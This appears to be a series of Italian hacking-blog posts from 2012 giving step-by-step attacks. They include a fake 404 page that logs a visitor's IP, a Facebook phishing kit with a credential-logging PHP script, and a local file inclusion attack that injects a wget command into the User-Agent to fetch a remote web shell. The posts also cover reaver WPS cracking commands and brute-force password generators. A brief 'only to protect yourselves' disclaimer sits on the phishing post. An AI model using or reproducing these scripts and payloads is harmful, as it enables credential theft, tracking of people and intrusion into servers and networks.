martedì 30 ottobre 2012

Scoprire indirizzo IP di un contatto msn o FaceBook

Cominciamo col dire due cose :

1)Se il vostro contatto si collega ad internet utilizzando un proxy, per esempio attraverso la rete TOR, allora qualsiasi metodo è inutile, tutto quello che potete ottenere è l'IP del proxy.
2)I provider, non necessariamente mettono a disposizione dei loro utenti un indirizzo IP statico, ma molto spesso l'indirizzo IP è dinamico, quindi ad ogni inizio di connessione potrebbe cambiare.In questo caso avrete la certezza che l'IP del vostro contatto sia autentico, solo se nel momento dell' intercettazione il vostro contatto è online.

Fatta questa premessa, diciamo che i metodi per ottenere l'IP sono molti, ad esempio se state utilizzando msn e convincete il vostro contatto a iniziare una connessione peer-to-peer, utilizzando uno sniffer di rete potete facilmente individuare il suo IP. Come fare per stabilire una connessione peer-to-peer? Semplicemente convincendolo ad accettare una di queste opzioni:

Lavagna condivisa   
Trasferimento di file
Conversazione audio
Videoconferenza


Discorso analogo per un contatto FaceBook, si potrebbe chattare con lui e convincerlo ad accettare un file inviandolo peer-to-peer con un programma FTP. Ma esiste un sistema più semplice che ,nel caso il nostro contatto abbia un IP statico , funziona anche via email.Per metterlo in atto si deve creare una pagina html contenente uno script che memorizza in un file l'indirizzo IP di chi la visita, poi bisogna procurarsi un account in un server che offre spazio web gratuito. Una volta messa la vostra paginetta online, dovete solo convincere il vostro contatto ,via chat o email, a visitarla , il suo IP verrà scritto in un file che rimarrà nel vostro spazio web, e che potrete consultare in seguito.Nella pagina web potete mettere quello che volete, io come esempio ho messo una pagina che simula "l'errore 404":

<?php
$file = "ipadd.txt";
if(!file_exists($file)){
$target=$_SERVER['REMOTE_ADDR'];
$handle = fopen("ipadd.txt","w");
fwrite($handle, "Target IP address : ");
fwrite($handle,$target);
fclose($handle);}
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.2.8 Server at www.google.com Port 80</address>
</body></html>


Per testarlo dovete solo copiare lo script e salvarlo col nome esempio.html(un nome a caso), poi aprire un account di un servizio di freeHosting (ad esempio su http://www.000webhost.com/) , una volta messo il file online visitate la pagina. Solo dopo aver visitato la pagina, dal pannello di controllo del vostro account, leggete il file "ipadd.txt", vi troverete scritto il vostro IP. Se volete ripetere l'operazione, dovete cancellare "ipadd.txt" e visitare nuovamente la pagina.

venerdì 26 ottobre 2012

Come vi scoprono la password di Facebook (PHISHING)

Il phishing è un sistema attraverso il quale un aggressore cerca di ingannare la vittima convincendola a fornire informazioni personali sensibili. Ovviamente è una attività illegale , quindi leggete questo articolo solo con l'intenzione di proteggervi e non con lo scopo di diventare voi i truffatori.Generalmente l'attacco avviene in 4 fasi:

1)Creazione di un finto sito, graficamente uguale al sito di cui si vogliono sottrarre le credenziali di accesso alla vittima.
2)Inserire, nel finto sito una script che recupera i dati di login inseriti dalla vittima.
3)Invio di email alla/e vittima/e , con l'invito a collegarsi al sito ,per risolvere alcuni problemi, qui la fantasia dell' aggressore può sbizzarrirsi.
4)Recupero dei dati dal server utilizzato per il fake login.


Il noto social network Facebook è da anni che è sotto mira da parte dei phisher di tutto il mondo, ma non è il solo sito attaccato, i siti maggiormente colpiti sono quelli che offrono servizi finanziari online, come banche,paypal,poste ecc.
Ora vi descriverò come sia estremamente semplice realizzare un attacco di questo genere agli utenti Facebook,
la prima cosa è trovare un server, ovviamente free e che non faccia troppi controlli sull' identità di chi apre l'account, Il web ne è pieno, la cosa importante è che il server deve offrire la possibilità di utilizzare degli script in qualche linguaggio lato server come PHP (ad esempio questo server http://www.000webhost.com/).
La fase successiva consiste nel creare uno script che legge e memorizza in un file i dati del malcapitato e che in seguito lo indirizza al sito originale, nel nostro caso a FaceBook.Esistono degli script già fatti che si trovano nel web , per cui anche questa fase ,purtroppo è alla portata di tutti, un buon esempio è questo:

<?php
/*****************************
Autore : Andrea Buono di << money94tube >>
Script : Fakelogin Facebook

*****************************/
header ('Location:http://it-it.facebook.com/');
$handle = fopen("bottino.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


Basta copiarlo in un file di testo e salvarlo col nome "post.php".Ora non resta che copiare la pagina di login di FaceBook in un file html e procedere ad una semplice modifica,si deve cercare il punto del file action="https//www.facebook.com/login.php?login_attempt=1" e sostituirlo con action="post.php".Quindi salvare il file con nome "index.html", e trasferire entrambi i file(post.php e index.html) sul server in cui avete aperto l'account.Ora potete creare una url breve per il sito fake, in quanto FaceBook, non accetta login da molti siti che in passato hanno ospitato siti phishing, come esempio potete creare una url breve qui http://www.dot.tk. Finito!, quando un utente riceve una email, che lo invita ad effettuare il login perché ci sono dei problemi(o altro) i suoi dati saranno scritti sul file bottino.txt. Mi raccomando non abboccate a questo genere di truffe, e controllate sempre se gli effettivi indirizzi corrispondano a quelli del sito originale.

mercoledì 24 ottobre 2012

Come entrare nel deepweb

Molto probabilmente avete già sentito parlare del "deepweb", avete letto qualche articolo che dipinge questa rete come un inferno popolato da hacker , truffatori , pervertiti sessuali e altro, e vi sarete fatti l'idea che non c'è nulla di interessante nell' esplorarlo.In realtà non è tutto cosi negativo , si tratta solo di una parte della rete, che grazie alla particolare proprietà che si accede ad essa solo in forma anonima, consente la pubblicazione di documenti senza censura.Tali documenti potranno essere utili , inutili , dannosi ma a deciderlo sarete voi ed il vostro buon senso.Inoltre avrete un bel po' da fare poichè una stima dice che nel deepweb ci sono 400-500 volte più documenti che nel web ufficiale, circa 7500 terabytes di informazioni(contro i 20 terabytes di informazioni disponibili in chiaro sul web), più di 200000 siti normalmente non raggiungibili dai motori di ricerca e 550 bilioni di documenti individuali (a differenza del bilione disponibile nel web ufficiale). Come potete benissimo intuire, tutta questa mole di informazione non può essere solo spazzatura, quindi senza dubbio vale la pena farci qualche visita.Fatta questa doverosa premessa passiamo alla parte tecnica, innanzitutto il deepweb si compone di diverse reti, la più famosa è onionnet che si basa su TOR, ma non è la sola, ce ne sono altre ad esempio Freenet, I2P ed altre ancora che sono a livello sperimentale come netsukuku, ognuna ha delle peculiarità tecniche specifiche ma tutte hanno come cardine l'anonimato. Iniziamo ovviamente da onionnet, per esplorare questa parte del deepweb è necessario scaricare ed installare il software TOR, e poi configurare il nostro browser, la configurazione di base per ottenere un ottimo anonimato deve comprendere:

1)Disabilitazione degli script JAVA
2)Richiesta al server di pagine https
2)Cancellazione cookie e cache ad ogni nuova sessione


Tutto molto scomodo vero? Esiste però una valida alternativa, scaricare TOR-BROWSER da questo indirizzo https://www.torproject.org/projects/torbrowser.html.en ,questo pacchetto comprende TOR e un browser già configurato perfettamente, inoltre è possibile eseguirlo da chiavetta USB ed è disponibile per win,linux,osx. Quindi potete iniziare l'esplorazione di onionnet appena installato il pacchetto senza preoccuparvi di configurare il vostro browser di default. Ecco alcune mete classiche da dove cominciare l'esplorazione:

http://kpvz7ki2v5agwt35.onion (hidden-wiki)
http://jhiwjjlqpyawmpjx.onion (tormail dove potete creare la vostra casella email nel deepweb)
http://hmicgynugykfpn4i.onion (anonHTML pubblicazione documenti html in forma anonima)
http://ay5kwknh6znfmcbb.onion (torbook una versione ,MOLTO semplificata, di facebook per onionnet)
http://f3ew3p7s6lbftqm5.onion (condivisione file in modo anonimo)
http://xmh57jrzrnw6insl.onion (torch motore di ricerca, ma qui siamo nel deepweb la maggior parte dei documenti non è indicizzata dai motori di ricerca)


Buona esplorazione!

martedì 23 ottobre 2012

Testare codice PHP online

Ho già avuto modo di parlare del linguaggio PHP, per chi desidera approfondire la sua conoscenza voglio segnalare un'ottima guida a questo indirizzo http://www.html.it/pag/16673/cos-php/ , se poi volete ulteriormente procedere allo studio potete anche visitare questo sito http://pear.php.net/packages.php , dove sono postati numerosi pacchetti  , già pronti e testati , che potete scaricare ed utilizzare liberamente.Leggendo la guida vi accorgerete subito che per scrivere script in PHP è sufficiente un editor di testo, non servono compilatori , non si deve scaricare nessun software , quindi , una volta capite le basi del linguaggio , potete iniziare da subito a scrivere i vostri programmi. Ma come testarli? Ovviamente essendo un linguaggio lato server avrete bisogno di installare un server , se avete intenzione di farlo vi consiglio "apache2" disponibile sia per piattaforme win32 che unix/linux a questo indirizzo http://httpd.apache.org/download.cgi.
Se invece non avete voglia di farlo, potete semplicemente provare i vostri script online su questo sito http://writecodeonline.com/php/ , è inutile che vi spieghi come fare, basta copiare il codice nella casella di testo e premere "run code".
Come esempio potete scrivere questo codice , che stampa i numeri da 1 a 10 su una pagina html:

for($a=1;$a<11;$a++)
echo $a,"<br />";
echo "fine";


Complimenti! Avete scritto il vostro primo script PHP :-)

lunedì 22 ottobre 2012

Algoritmi per attacco bruteforce

Per craccare password con attacco dizionario si utilizzano file contenenti parole di senso compiuto,o password statisticamente probabili. Ma per craccare le cosiddette "password forti" si deve ricorrere al metodo bruteforce ,  ovvero  provare tutte le combinazioni possibili di un determinato gruppo di caratteri.Per risolvere , con algoritmi , questo genere di problemi le formule del calcolo combinatorio che interessano sono 3:

A)Calcolo combinazioni senza ripetizione , in sostanza dato un gruppo di caratteri es. "abc" , e impostando la lunghezza delle password es. 2, come risultato di questo calcolo si ottengono le coppie ab,ac,bc.Il numero di combinazioni valide si calcola con la formula:

C=k!/(n!*(k-n)!)

Dove , con i dati del' esempio, k=3 e n=2.

B)Calcolo permutazioni semplici, dato un gruppo di caratteri es."abc" , come risultato di questo calcolo si ottengono le terne abc,acb,bca,cba,bac,cab.Il numero di combinazioni si calcola con la formula:

C=k!

Dove, con i dati dell' esempio, k=3.

C)Calcolo disposizioni semplici, dato un gruppo di caratteri es. "abc", e impostata la lunghezza delle password es. 2, come risultato di questo calcolo si ottengono le coppie ab,ac,bc,ba,ca,cb.Il numero di combinazioni valide si calcola con la formula:

C=k!/(k-n)!

Dove, con i dati dell' esempio, k=3 e n=2.


E' ovvio che le disposizioni semplici si ottengono applicando ad ogni gruppo generato dalle combinazioni semplici, l'algoritmo per la generazione delle permutazioni semplici.Facciamo un esempio pratico , se volessi cercare una password composta solo dai caratteri del sistema di numerazione esadecimale (1,2,3,4,5,6,7,8,9,0,a,b,c,d,e,f) e sapessi che la lunghezza della password è di 10 caratteri,allora dovrei provare tutte le disposizioni semplici con k=16 e n=10.
Il problema si presta molto bene ad essere risolto con algoritmi ricorsivi, recentemente ho tradotto alcuni algoritmi ,scritti originariamente in C e C++, in PHP.Come ho detto prima gli algoritmi sono 2 e non 3, in quanto il terzo è solo la combinazione degli altri 2.

Algoritmo PHP combinazioni senza ripetizione:

<?php
function combinazioni($str,$combi){
global $COMBI;
global $temp;
$tot=strlen($str);
for($y=0;$y<$tot;$y++){
$temp=$temp.substr($str, $y , 1);
if(strlen($temp)==$COMBI){
echo $temp,"<br />";
$rr=strlen($temp);
$temp=substr($temp,0 , $rr-1);
}
else{
if($combi==0)
return;
if(($tot-$y-1)>0)
$str1=substr($str, -($tot-1-$y));
if(($tot-$y-1)>0)
combinazioni($str1,($combi-1));
$rr=strlen($temp);
$temp=substr($temp,0 , $rr-1);
}}}
$temp="";
$str="abc";//dati dell' esempio
$COMBI=2;//dati dell'esempio
$combi=2;//dati dell'esempio
combinazioni($str,$combi);
?>   


Algoritmo PHP permutazioni semplici:

<?php
function permutazioni($str,$i,$n){
global $str;
if($i==$n)
{
for($j=0;$j<=$n;$j++)
echo substr($str, $j , 1);
echo "<br />";
}
else
{
for( $j = $i ; $j<=$n ; $j++ )
{
Swap($str,$i,$j);
permutazioni($str,$i+1,$n);
Swap($str,$i,$j);
}}}
function Swap( $str, $ind1,$ind2){
global $str;
$as=strlen($str);
$temp1=substr($str, $ind1 , 1);
$temp2=substr($str, $ind2 , 1);
for($r=0;$r<$as;$r++){
if($r==$ind1)
$temp3=$temp3.$temp2;
elseif ($r==$ind2)
$temp3=$temp3.$temp1;
else
$temp3=$temp3.substr($str, $r , 1);
}
$str=$temp3;
return;
}
$str="abc";//dati dell' esempio
permutazioni($str,0,strlen($str)-1);
?>


Entrambi gli algoritmi sono facilmente traducibili in C/C++, per onestà devo dire che l'algoritmo delle permutazioni semplici non è stato scritto da me ma solo tradotto in PHP.Ho implementato questi algoritmi su questo sito http://danieler.altervista.org/ ,purtroppo ho dovuto porre una limitazione alla lunghezza della stringa, sia per non consumare troppe risorse sul server altervista, sia perché stringhe lunghe avrebbero dato origine a pagine molto pesanti causando rallentamenti del browser.

domenica 21 ottobre 2012

Iniettare codice php ( metodo proc/self/environ)

Il PHP nasce nel 1994 come una serie di macro per facilitare la scrittura di pagine web dinamiche, poi si è evoluto fino a diventare un potente e flessibile linguaggio di programmazione lato server, oggi è implementato su moltissime piattaforme Windows, Unix/Linux, Mac ed altre.Questo linguaggio è diventato molto simile al C++, è possibile scrivere classi e programmare ad oggetti, quindi riuscire iniettare uno script in un server consente di penetrare in esso molto profondità.Il metodo proc/self/environ è davvero molto efficace, ed i proprietari dei server dovrebbero tenere ben presente questa possibilità e prendere le precauzioni del caso. Ora cerchiamo di capire come questo metodo funziona, supponiamo di avere questo obiettivo:

www.website.com/view.php?page=contact.php

la prima cosa da tentare e sostituire la pagina "contact.php" con i caratteri "../"

www.website.com/view.php?page=../

Se otterremo un errore tipo:

Warning: include(../) [function.include]: failed to open stream: No such file or directory in/home/sirgod/public_html/website.com/view.php on line 1337

allora ci sono buone possibilità di poter completare l'iniezione del codice.Adesso è possibile passare alla fase successiva, in sostanza ricercheremo il  file "etc/passwd" risalendo a ritroso l'albero delle directory fino a trovare il file come da esempio:
 
www.website.com/view.php?page=../../../etc/passwd

otteniamo errore:
 
Warning: include(../) [function.include]: failed to open stream: No such file or...
 
altro tentativo:

www.website.com/view.php?page=../../../../../etc/passwd

se ad un certo punto otteniamo una risposta simile a questa:

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var....ecc ecc

Possiamo procedere al passo successivo , che consiste nel sostituire "etc/passwd" con "proc/self/environ" ed analizzare la risposta del server:

www.website.com/view.php?page=../../../../../proc/self/environ

Se otteniamo una risposta simile a questa:
 
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,application/xml;q=0.9, application/xhtml+xml, i ...ecc ecc

allora la directory proc/self/environ è accessibile e possiamo iniziare l'iniezione del codice, se invece otteniamo una pagina bianca allora su questo server il metodo non funziona.Prima di poter iniettare il codice è necessario installare un addon per firefox , "tampere data" che potete trovare qui https://addons.mozilla.org/it/firefox/addon/tamper-data/.Ora supponendo di voler iniettare il codice PHP scritto nel file http://example.com/Shells/gny.txt, si deve solo richiedere l'url:

www.website.com/view.php?page=../../../../../proc/self/environ

poi da tampere scrivere nel campo "user-agent" la seguente stringa:

<?system('wget http://example.com/Shells/gny.txt -O shell.php');?>

e inviare la richiesta. Se tutto è andato bene lo script PHP sarà accessibile nella directory "www.website.com/shell.php".Qui potete leggere l'articolo originale http://www.exploit-db.com/papers/12886/

giovedì 18 ottobre 2012

Craccare rete WPA/WPA2 con reaver






In realtà mentivo, ad oggi non è ancora stato perfezionato un sistema sicuro per penetrare in reti potette WPA senza un attacco dizionario, ma cerchiamo di capire come è stato aggirato questo problema.
Prima di tutto facciamo una piccola premessa su cosa è il protocollo WPS, nel 2007 è stato lanciato questo sistema che dovrebbe semplificare l'installazione di reti wifi, in pratica router e scheda wifi si scambiano le credenziali di accesso, quindi la password di default del router ,e l'utente non deve più preoccuparsi di inserirla manualmente nella configurazione del collegamento.Questa negoziazione avviene generalmente premendo un pulsantino sui dispositivi che si vogliono mettere in comunicazione.
In effetti è molto comodo, ma questo sistema ha una falla, solitamente il pin ,che consente ai dispositivi di negoziare fra loro, è un numero di 8 cifre, ma dei bugs scoperti dall' autore del software consentono di individuarne 4, rendendo l'accesso alla rete possibile in circa 10 o 20 ore.
Il software utilizzato per l'attacco si chiama "reaver" ed è possibile scaricarlo in codice sorgente su questo sito https://code.google.com/p/reaver-wps/downloads/list .
Il programma funziona su sistemi linux, l'utilizzo è veramente semplice, necessita di alcuni pacchetti per l'installazione(generalmente mancano libpcap0.8-dev libsqlite3-dev), quindi se durante l'installazione il sistema vi chiede questi pacchetti installateli e ripetete l'installazione.
Dovreste saper istallare un software da codice sorgente ...vero? Beh comunque vi rinfresco la memoria , questi sono i comandi da eseguire dopo aver salvato il file :

tar -xvf reaver-1.4.tar.gz

cd reaver-1.4/src/

./configure

make

sudo make install

Prima di far partire reaver è necessario mettere la scheda wifi in monitor mode, poi fare una scansione sulle reti che supportano il protocollo WPS e verificare se questo protocollo non è stato disabilitato.
Nel pacchetto reaver esiste anche un altro software di nome "wash", per ottenere l'elenco delle reti basta dare il comando :

sudo wash -i mon0

Una volta ottenuta la lista delle reti, e dopo aver scelto il nostro obiettivo lanciamo reaver:

sudo reaver -i mon0 -b 00:11:22:33:44:55 -vv

Adesso non resta che aspettare, i tempi di attesa sono lunghi, ma è possibile interrompere l'esecuzione del programma e riprenderla in seguito ,visto che reaver salva automaticamente la sessione, e al momento di riprenderla ci chiede se vogliamo continuare da dove eravamo rimasti.

ps. Se volete provare un' interfaccia grafica per questo programma andate qui http://d1966.blogspot.it/2013/06/wxreaver-interfaccia-grafica-per-reaver.html